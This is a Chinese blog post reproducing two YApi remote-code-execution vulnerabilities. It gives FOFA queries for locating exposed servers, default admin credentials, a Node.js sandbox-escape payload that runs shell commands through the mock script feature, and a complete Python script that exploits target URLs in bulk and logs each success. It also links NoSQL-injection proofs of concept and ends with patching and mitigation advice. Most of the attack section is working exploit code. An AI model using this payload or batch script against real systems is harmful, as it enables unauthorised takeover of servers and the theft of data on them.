zl程序教程

您现在的位置是:首页 >  其他

当前栏目

【漏洞复现】Yapi接口管理平台RCE漏洞汇总

漏洞接口平台 管理 汇总 复现 RCE
2023-09-11 14:17:08 时间


前言

本篇文章主要归纳总结YApi各版本所存在的漏洞,文章中涉及攻击手法切勿用于非授权下的渗透攻击行为,造成任何后果与本文作者无关,切记!!!


YApi接口管理平台远程代码执行漏洞

一、漏洞描述

YApi是一个可本地部署的、打通前后端及OA的、可视化的接口管理平台。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。


二、影响版本

YApi <= 1.9.2

三、FOFA语句

icon_hash= "-715193973"
app="YApi"

四、漏洞复现

docker搭建:https://github.com/fjc0k/docker-YApi

git clone https://github.com/fjc0k/docker-YApi
cd docker-YApi
vim docker-compose.yml 
docker-compose up -d

docker-compose.yml 修改为存在漏洞版本,这里使用的是Yapi 版本:1.9.2
在这里插入图片描述
启动环境
在这里插入图片描述
本地访问网站 http://X.X.X.X:40001
在这里插入图片描述
该版本漏洞点为 “登录/注册” 可使用默认账号密码(前提账号密码没有更改过),我们常用的默认账号密码口令如下:

admin@admin.com:ymfe.org 
admin@docker.yapi:adm1n

登录之后,点击添加项目并创建项目
在这里插入图片描述
添加接口
在这里插入图片描述
创建好接口后进入界面点击 “高级Mock” 添加一下代码命令并进行保存,再次点击预览访问Mock地址可查看执行结果。

const sandbox = this 
const ObjectConstructor = this.constructor 
const FunctionConstructor = ObjectConstructor.constructor 
const myfun = FunctionConstructor('return process') 
const process = myfun() 
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

在这里插入图片描述
在这里插入图片描述
命令被成功执行!!!

POC:github: https://github.com/j2ekim/YApi_exp
在这里插入图片描述
在这里插入图片描述
批量检测YApi <=1.9.2 脚本

import requests
import urllib3
import json
import argparse

parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file

def poc_1(get_url):
    if(get_url[-1]=='/'):
        get_url=get_url[:-1]
        print(get_url)
    Reg_url=get_url+"/api/user/reg"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'******',
        'username':'Guatest'
    }
    try:
        urllib3.disable_warnings()
        Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        if Reg_res.json()['errcode']==0:
            poc_2(get_url)
        else:
            print(get_url+"  "+Reg_res.text)
    except Exception as e:
        print(get_url+"  poc_1  请求出错")

def poc_2(get_url):
    Login_url=get_url+"/api/user/login"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'******'
    }
    try:
        Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
        if Login_res.json()['errcode']==0:
            poc_3(get_url,Login_cookie)
        else:
            print("登陆失败")
    except Exception as e:
        print(get_url+"  poc_2  请求出错")

def poc_3(get_url,Login_cookie):
    headers={
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie':Login_cookie
    }
    Get_id_url=get_url+"/api/group/list"
    try:
        Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
        G_id=str(Get_id_res.json()['data'][0]['_id'])
        if Get_id_res.json()['errcode']==0:
            poc_4(get_url,G_id,Login_cookie)
        else:
            print("获取group_id失败")
    except Exception as e:
        print(get_url+"  poc_3  请求出错")
def poc_4(get_url,G_id,Login_cookie):
    NewProjecet_url=get_url+"/api/project/add"
    data={
        'name':'tes',
        'basepath':'',
        'group_id':G_id,
        'icon':'code-o',
        'color':'blue',
        'project_type':'private'
    }
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
        get_id=str(NewProjecet_res.json()['data']['_id'])
        if NewProjecet_res.json()['errcode']==0:
            poc_5(get_url,Login_cookie,get_id)
        else:
            print('创建目录失败失败')
    except Exception as e:
        print(get_url+"  poc_4  请求出错")
def poc_5(get_url,Login_cookie,get_id):
    Mock_url=get_url+'/api/project/up'
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'id':get_id,
        'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",
        'is_mock_open':True
    }
    try:
        Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
        if Mock_res.json()['errcode']==0:
            poc_6(get_url, Login_cookie, get_id)
        else:
            print("mock创建失败")
    except Exception as e:
        print(get_url+"  poc_5   请求出错")
def poc_6(get_url,Login_cookie,get_id):
    Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
        Catid=Cat_id_res.json()['data'][0]['_id']
        poc_7(get_url,Login_cookie,get_id,Catid)
    except Exception as e:
        print(get_url+"  poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'method':'GET',
        'catid':Catid,
        'title':'guatest',
        'path':'/guatest',
        'project_id':get_id
    }
    port_add_url=get_url+"/api/interface/add"
    try:
        port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
        if port_add_res.json()['errcode']==0:
            poc_8(get_url,Login_cookie,get_id)
        else:
            print("接口创建失败")
    except Exception as e:
        print(get_url+"  poc_7   请求出错")
def poc_8(get_url,Login_cookie,get_id):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
    try:
        vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
        print(vuln_url+'  '+vuln_res.text)
        with open('success.txt', 'a+', encoding="utf-8") as s:
            s.write(get_url + '   '+vuln_res.text+'\n')
    except Exception as e:
        print(get_url+"  poc_8   请求出错",e)
def file():
    with open(args.file,'r+',encoding='utf-8') as f:
        for i in f.readlines():
            s = i.strip()
            if 'http://' in s:
                poc_1(s)
            else:
                exp1 = 'http://'+s
                poc_1(exp1)
if __name__ == '__main__':
    try:
        if Get_url != '' and Get_file == '':
            if 'http://' in Get_url:
                poc_1(Get_url)
            else:
                exp2 = 'http://' + Get_url
                poc_1(exp2)
        elif Get_url == '' and Get_file != '':
            file()
    except KeyboardInterrupt:
        print("结束进程。。。。")
        pass

五、修复建议

1、 更新至最新版本:1.12.0
2、 利用安全安全组设置Yapi仅对可信地址开放。
3、 编辑Yapi目录下的 config.json 文件,设置 closeRegister 为 true,关闭Yapi的前台注册功能。

{
  "closeRegister":true
}

YApi NoSQL注入导致远程命令执行漏洞

YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

一、YApi介绍

YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

github地址:https://github.com/YMFE/yapi/tree/master

二、漏洞描述

YApi 是一个支持本地部署的可视化接口管理平台。YApi 在 1.12.0 之前的版本(目前所有版本)中由于 base.js 没有正确对 token 参数进行正确过滤,导致存在远程代码执行漏洞。攻击者可通过MongoDB注入获取用户 token,其中包括用户ID、项目ID等参数。yapi后台的pre-request和pre-response方法存在缺陷点,通过注入调用自动化测试接口runAutoTest(),进而利用沙箱逃逸触发命令执行。

三、漏洞分析

参考链接(漏洞细节):https://paper.seebug.org/2028/
MongoDB特性注入:https://www.anquanke.com/post/id/250101#h3-4

四、漏洞详情

https://github.com/vulhub/vulhub/blob/master/yapi/mongodb-inj/README.zh-cn.md

五、影响版本

YApi < 1.12.0

六、漏洞复现

docker 搭建 : https://github.com/fjc0k/docker-YApi

git clone https://github.com/fjc0k/docker-YApi
cd docker-YApi
vim docker-compose.yml 
docker-compose up -d

docker-compose.yml 修改为存在漏洞版本,这里使用的是Yapi 版本: 1.10.2
在这里插入图片描述使用 docker ps 查看环境搭建成功
在这里插入图片描述
本地访问网站:http://X.X.X.X:40001 默认账密如下:admin@admin.com:ymfe.org / admin@docker.yapi:adm1n

POC:https://github.com/vulhub/vulhub/blob/master/yapi/mongodb-inj/poc.py

测试结果
在这里插入图片描述

七、修复建议

一、版本升级

目前官方已有可更新版本,建议受影响用户更新至 1.12.0 及以上版本。
https://github.com/YMFE/yapi/releases/tag/v1.12.0
注:

  1. YApi 1.11.0版本已修复Mongo注入获取Token的问题,导致攻击者无法在未授权的情况下利用此漏洞。
  2. 在YApi 1.12.0的版本更新中,仅默认禁用了Pre-request和Pre-response脚本功能,使得此漏洞在默认配置下无法利用。

二、缓解措施

  1. 在业务允许的情况下,建议将YApi部署在内网,禁止外网访问。

  2. 修改默认token加密的盐:
    编辑项目根目录中的config.json,添加"passsalt":“任意随机值”,如:

    {

    “passsalt”:“this_is_a_test”

    }

保存,重启YApi服务即可。

文章到这里就结束了,后续出现新型漏洞内容再继续补充,感谢观看!!!